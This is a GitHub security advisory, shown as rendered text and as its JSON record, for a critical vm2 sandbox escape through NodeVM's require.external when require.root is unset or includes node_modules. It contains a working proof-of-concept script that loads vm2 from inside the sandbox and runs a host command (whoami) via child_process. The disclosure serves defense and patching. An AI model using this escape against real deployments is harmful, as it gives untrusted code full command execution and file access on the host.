GHSA-J3HM-6RG5-MCHV

Vulnerability from github – Published: 2026-10-05 22:34 – Updated: 2026-10-05 22:34
VLAI
Summary
vm2: NodeVM `require.external` without an explicit `require.root` grants unrestricted host filesystem access and full RCE
Details

Summary

NodeVM's require.external option lets sandboxed code require() local files and npm packages. When require.external is enabled and require.root is not explicitly set to a path that excludes node_modules, two defaults combine to fully defeat the sandbox:

  • require.root defaults to unrestricted — "if omitted every path is allowed."
  • require.context defaults to "host" — files loaded this way run through the real Node.js require(), not inside any vm2 sandbox.

Sandboxed code can therefore require() a relative or absolute path to vm2's own installed package (node_modules/vm2), obtain the real, unwrapped NodeVM/VM classes, construct a brand-new unrestricted nested NodeVM instance, and execute arbitrary host OS commands via child_process.

This is exploitable using vm2's own documented "Quick Examples" configuration in README.md:

const vm = new NodeVM({
  require: {
    external: true,
    root: './',
  },
});

root: './' reads as a safety restriction but, in any ordinary npm project layout, ./node_modules/vm2 sits inside that same directory tree — so the restriction does not exclude vm2 itself. An application built by following the README's quick-start guide is affected by default.

Affected Versions

All vm2 versions where lib/resolver-compat.js's makeResolverFromLegacyOptions predates this report — confirmed present as of the current main (post-3.11.5, including all fixes through GHSA-8hg8-63c5-gwmx / Category 25 and GHSA-cp6g-6699-wx9c / Category 24). Neither of those prior fixes covers this code path (see Root Cause).

Details / Root Cause

lib/resolver-compat.js:

const {
  builtin: builtinOpt,
  mock: mockOpt,
  external: externalOpt,
  root: rootPaths,
  resolve: customResolver,
  customRequire: hostRequire = defaultRequire,
  context = 'host',          // <-- defaults to 'host'
  strict = true,
  fs: fsOpt = DEFAULT_FS,
} = options;
...
if (!externalOpt) return new Resolver(fsOpt, [], builtins);
...
let checkedRootPaths;
if (rootPaths !== undefined) {
  // root is only canonicalized/validated if the embedder explicitly provided one.
  ...
}

and CustomResolver.isPathAllowed:

isPathAllowed(filename) {
  if (this.rootPaths === undefined) return true;   // <-- unrestricted when root is omitted
  ...
}

and CustomResolver.loadJS:

loadJS(vm, mod, filename) {
  if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);
  const m = this.hostRequire(filename);   // <-- real host require(), when context === 'host' (the default)
  mod.exports = vm.readonly(m);
}

CustomResolver (the resolver used whenever require.external is a bare true, i.e. not a scoped array/object) has no external-module-name allowlist at all — it gates purely on isPathAllowed, which is a no-op when root isn't set. Combined with context defaulting to 'host', any absolute or root-relative path sandboxed code names is loaded and executed via the real, unsandboxed Node.js require().

This is a distinct code path from the two already-fixed advisories that produce a similar end state:

  • Category 24 / GHSA-cp6g-6699-wx9c (require.root symlink bypass) assumes root is configured and attacks the symlink boundary via a TOCTOU between path.resolve() and the native loader's symlink-following. git log -- lib/resolver-compat.js shows its fix (realpath canonicalization) is the only history that file has — nothing from the nesting fix touches it, and the fix does nothing when root is never set in the first place, since there is no boundary to attack via symlink.
  • Category 25 / GHSA-8hg8-63c5-gwmx (nesting: true bypass) closes a different delivery mechanism entirely — the NESTING_OVERRIDE-injected vm2 builtin, gated by a constructor-time check on the nesting option. That check is never consulted by this path: an embedder with nesting: false (the default) and no dangerous require.builtin entries is still fully exposed via require.external: true alone.

An embedder who has correctly mitigated both prior advisories remains completely open through this one.

Documentation framing does not mitigate this to "expected behavior." require.external's JSDoc does carry an inline warning ("root should be set to restrict the script from requiring any module"), but it is unbolded prose stating a default, not flagged as dangerous — materially weaker than nesting: true's bolded WARNING, dedicated README section, and explicit "grants unrestricted host module access" language, all of which existed and still did not prevent nesting from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown "Quick Examples" snippet in README.md sets root: './', which reads as an active safety choice, not an acknowledgment of "every path is allowed."

Proof of Concept

See attached poc.js. Reproduces using vm2's own documented Quick Examples config, in a normal project layout (poc.js next to a real node_modules/vm2 install) — no symlinks, no nesting, no dangerous require.builtin entries, no modification to vm2's source.

const path = require('path');
const { NodeVM } = require('vm2');

const vm = new NodeVM({
  require: { external: true, root: './' },   // verbatim from README "Quick Examples"
});

let vm2EntryPoint = path.relative(process.cwd(), require.resolve('vm2')).replace(/\\/g, '/');
if (!vm2EntryPoint.startsWith('.')) vm2EntryPoint = './' + vm2EntryPoint;

const result = vm.run(`
  const real = require(${JSON.stringify(vm2EntryPoint)});
  const inner = new real.NodeVM({ require: { builtin: ['child_process'], external: false } });
  module.exports = inner.run("module.exports = require('child_process').execSync('whoami').toString().trim()", 'inner.js');
`, 'untrusted-plugin.js');

console.log(result); // real host username, e.g. "Abisheik M"

Actual output on the test machine:

{ whoami: 'Abisheik M', platform: 'win32' }

Abisheik M is the real OS account executing the Node.js process — not a sandbox artifact.

Impact

Any application that follows vm2's own README "Quick Examples" pattern (or any config with require.external enabled and require.root set to a path that includes node_modules, or omitted entirely) allows sandboxed/untrusted code to:

  • Execute arbitrary OS commands via child_process (full RCE).
  • Read/write arbitrary files via fs (once inside the re-instantiated unrestricted NodeVM).
  • Fully defeat every other sandbox restriction the embedder configured on the outer NodeVM — the outer allowlist becomes irrelevant once the sandbox obtains an unrestricted inner instance.

Suggested Fix

Mirror the precedent already established for nesting (Category 25) and require.root (Category 24): fail loudly at construction time instead of silently defaulting to an unsafe combination.

In lib/resolver-compat.js's makeResolverFromLegacyOptions, when externalOpt is truthy (bare true, or an object/array not scoped to specific module names only) and rootPaths === undefined, throw a VMError at new NodeVM(...) construction time — extending the same checkedRootPaths eager-probe block that Category 24's fix already introduced for the "root is set but the fs adapter can't realpath" case, to also cover "root was never set at all." This forces embedders to make an explicit, informed choice rather than inheriting an unrestricted default, exactly mirroring how Category 25's fix forces an explicit non-default require object when nesting: true is set.

Additionally: update README.md's "Quick Examples" snippet so it no longer shows a root value that is silently vulnerable to a same-directory node_modules install (e.g. scope it below the project root, or add an explicit callout that root must exclude node_modules).

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.6"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-92946"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T22:34:50Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`NodeVM`\u0027s `require.external` option lets sandboxed code `require()` local files and npm packages. When `require.external` is enabled and `require.root` is **not explicitly set to a path that excludes `node_modules`**, two defaults combine to fully defeat the sandbox:\n\n- `require.root` defaults to **unrestricted** \u2014 \"if omitted every path is allowed.\"\n- `require.context` defaults to **`\"host\"`** \u2014 files loaded this way run through the **real Node.js `require()`**, not inside any vm2 sandbox.\n\nSandboxed code can therefore `require()` a relative or absolute path to vm2\u0027s own installed package (`node_modules/vm2`), obtain the real, unwrapped `NodeVM`/`VM` classes, construct a brand-new **unrestricted** nested `NodeVM` instance, and execute arbitrary host OS commands via `child_process`.\n\nThis is exploitable using **vm2\u0027s own documented \"Quick Examples\" configuration** in `README.md`:\n\n```js\nconst vm = new NodeVM({\n  require: {\n    external: true,\n    root: \u0027./\u0027,\n  },\n});\n```\n\n`root: \u0027./\u0027` reads as a safety restriction but, in any ordinary npm project layout, `./node_modules/vm2` sits inside that same directory tree \u2014 so the restriction does not exclude vm2 itself. An application built by following the README\u0027s quick-start guide is affected by default.\n\n\n## Affected Versions\n\nAll vm2 versions where `lib/resolver-compat.js`\u0027s `makeResolverFromLegacyOptions` predates this report \u2014 confirmed present as of the current `main` (post-3.11.5, including all fixes through GHSA-8hg8-63c5-gwmx / Category 25 and GHSA-cp6g-6699-wx9c / Category 24). Neither of those prior fixes covers this code path (see Root Cause).\n\n## Details / Root Cause\n\n`lib/resolver-compat.js`:\n\n```js\nconst {\n  builtin: builtinOpt,\n  mock: mockOpt,\n  external: externalOpt,\n  root: rootPaths,\n  resolve: customResolver,\n  customRequire: hostRequire = defaultRequire,\n  context = \u0027host\u0027,          // \u003c-- defaults to \u0027host\u0027\n  strict = true,\n  fs: fsOpt = DEFAULT_FS,\n} = options;\n...\nif (!externalOpt) return new Resolver(fsOpt, [], builtins);\n...\nlet checkedRootPaths;\nif (rootPaths !== undefined) {\n  // root is only canonicalized/validated if the embedder explicitly provided one.\n  ...\n}\n```\n\nand `CustomResolver.isPathAllowed`:\n\n```js\nisPathAllowed(filename) {\n  if (this.rootPaths === undefined) return true;   // \u003c-- unrestricted when root is omitted\n  ...\n}\n```\n\nand `CustomResolver.loadJS`:\n\n```js\nloadJS(vm, mod, filename) {\n  if (this.pathContext(filename, \u0027js\u0027) !== \u0027host\u0027) return super.loadJS(vm, mod, filename);\n  const m = this.hostRequire(filename);   // \u003c-- real host require(), when context === \u0027host\u0027 (the default)\n  mod.exports = vm.readonly(m);\n}\n```\n\n`CustomResolver` (the resolver used whenever `require.external` is a bare `true`, i.e. not a scoped array/object) has **no external-module-name allowlist at all** \u2014 it gates purely on `isPathAllowed`, which is a no-op when `root` isn\u0027t set. Combined with `context` defaulting to `\u0027host\u0027`, any absolute or root-relative path sandboxed code names is loaded and *executed* via the real, unsandboxed Node.js `require()`.\n\n**This is a distinct code path from the two already-fixed advisories that produce a similar end state:**\n\n- **Category 24 / GHSA-cp6g-6699-wx9c** (`require.root` symlink bypass) *assumes* `root` is configured and attacks the symlink boundary via a TOCTOU between `path.resolve()` and the native loader\u0027s symlink-following. `git log -- lib/resolver-compat.js` shows its fix (`realpath` canonicalization) is the *only* history that file has \u2014 nothing from the `nesting` fix touches it, and the fix does nothing when `root` is never set in the first place, since there is no boundary to attack via symlink.\n- **Category 25 / GHSA-8hg8-63c5-gwmx** (`nesting: true` bypass) closes a *different* delivery mechanism entirely \u2014 the `NESTING_OVERRIDE`-injected `vm2` builtin, gated by a constructor-time check on the `nesting` option. That check is never consulted by this path: an embedder with `nesting: false` (the default) and no dangerous `require.builtin` entries is still fully exposed via `require.external: true` alone.\n\nAn embedder who has correctly mitigated both prior advisories remains completely open through this one.\n\n**Documentation framing does not mitigate this to \"expected behavior.\"** `require.external`\u0027s JSDoc does carry an inline warning (\"`root` should be set to restrict the script from requiring any module\"), but it is unbolded prose stating a default, not flagged as dangerous \u2014 materially weaker than `nesting: true`\u0027s bolded **WARNING**, dedicated README section, and explicit \"grants unrestricted host module access\" language, all of which existed and still did not prevent `nesting` from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown \"Quick Examples\" snippet in `README.md` sets `root: \u0027./\u0027`, which reads as an active safety choice, not an acknowledgment of \"every path is allowed.\"\n\n## Proof of Concept\n\nSee attached `poc.js`. Reproduces using **vm2\u0027s own documented Quick Examples config**, in a normal project layout (`poc.js` next to a real `node_modules/vm2` install) \u2014 no symlinks, no `nesting`, no dangerous `require.builtin` entries, no modification to vm2\u0027s source.\n\n```js\nconst path = require(\u0027path\u0027);\nconst { NodeVM } = require(\u0027vm2\u0027);\n\nconst vm = new NodeVM({\n  require: { external: true, root: \u0027./\u0027 },   // verbatim from README \"Quick Examples\"\n});\n\nlet vm2EntryPoint = path.relative(process.cwd(), require.resolve(\u0027vm2\u0027)).replace(/\\\\/g, \u0027/\u0027);\nif (!vm2EntryPoint.startsWith(\u0027.\u0027)) vm2EntryPoint = \u0027./\u0027 + vm2EntryPoint;\n\nconst result = vm.run(`\n  const real = require(${JSON.stringify(vm2EntryPoint)});\n  const inner = new real.NodeVM({ require: { builtin: [\u0027child_process\u0027], external: false } });\n  module.exports = inner.run(\"module.exports = require(\u0027child_process\u0027).execSync(\u0027whoami\u0027).toString().trim()\", \u0027inner.js\u0027);\n`, \u0027untrusted-plugin.js\u0027);\n\nconsole.log(result); // real host username, e.g. \"Abisheik M\"\n```\n\n**Actual output on the test machine:**\n```\n{ whoami: \u0027Abisheik M\u0027, platform: \u0027win32\u0027 }\n```\n\n`Abisheik M` is the real OS account executing the Node.js process \u2014 not a sandbox artifact.\n\n## Impact\n\nAny application that follows vm2\u0027s own README \"Quick Examples\" pattern (or any config with `require.external` enabled and `require.root` set to a path that includes `node_modules`, or omitted entirely) allows sandboxed/untrusted code to:\n\n- Execute arbitrary OS commands via `child_process` (full RCE).\n- Read/write arbitrary files via `fs` (once inside the re-instantiated unrestricted `NodeVM`).\n- Fully defeat every other sandbox restriction the embedder configured on the *outer* `NodeVM` \u2014 the outer allowlist becomes irrelevant once the sandbox obtains an unrestricted inner instance.\n\n## Suggested Fix\n\nMirror the precedent already established for `nesting` (Category 25) and `require.root` (Category 24): **fail loudly at construction time instead of silently defaulting to an unsafe combination.**\n\nIn `lib/resolver-compat.js`\u0027s `makeResolverFromLegacyOptions`, when `externalOpt` is truthy (bare `true`, or an object/array not scoped to specific module names only) and `rootPaths === undefined`, throw a `VMError` at `new NodeVM(...)` construction time \u2014 extending the *same* `checkedRootPaths` eager-probe block that Category 24\u0027s fix already introduced for the \"root is set but the fs adapter can\u0027t realpath\" case, to also cover \"root was never set at all.\" This forces embedders to make an explicit, informed choice rather than inheriting an unrestricted default, exactly mirroring how Category 25\u0027s fix forces an explicit non-default `require` object when `nesting: true` is set.\n\nAdditionally: update `README.md`\u0027s \"Quick Examples\" snippet so it no longer shows a `root` value that is silently vulnerable to a same-directory `node_modules` install (e.g. scope it below the project root, or add an explicit callout that `root` must exclude `node_modules`).",
  "id": "GHSA-j3hm-6rg5-mchv",
  "modified": "2026-10-05T22:34:50Z",
  "published": "2026-10-05T22:34:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-j3hm-6rg5-mchv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92946"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/903017c8a1eae9aba947ec854468b48155e79f86"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.7"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vm2-before-3.11.7-remote-code-execution-via-require-external"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2: NodeVM `require.external` without an explicit `require.root` grants unrestricted host filesystem access and full RCE"
}



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